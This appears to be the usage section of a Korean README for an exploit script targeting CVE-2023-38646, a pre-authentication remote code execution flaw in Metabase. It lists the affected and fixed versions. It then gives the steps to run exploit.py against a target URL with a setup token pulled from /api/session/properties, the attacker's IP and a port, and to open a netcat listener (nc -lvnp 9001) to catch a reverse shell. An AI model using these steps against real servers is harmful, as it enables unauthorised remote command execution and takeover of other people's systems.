CVE-2023-38646 (Metabase 사전 인증 RCE)

Metabase 오픈소스 0.46.6.1 미만 및 Metabase Enterprise 1.46.6.1 미만 버전에서 공격자가 서버 권한 수준으로 서버에서 임의의 명령을 실행할 수 있습니다. 인증이 필요하지 않습니다. 기타 수정된 버전은 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, 1.43.7.2입니다.

사용 예시

두 개의 터미널을 엽니다.

터미널 1:

python3 exploit.py -u http://vulnerablewebsite.com -t "537up-70k3n-fr0m-4p1-535510n" -i 10.10.10.10 -p 9001

여기서:
-u: 취약한 웹사이트의 URL
-t: http://vulnerablewebsite.com/api/session/properties 에서 가져온 설정 토큰
-i: 호스트 IP 주소 (사용자 IP 주소)
-p: 연결을 위한 호스트 포트

터미널 2:

nc -lvnp 9001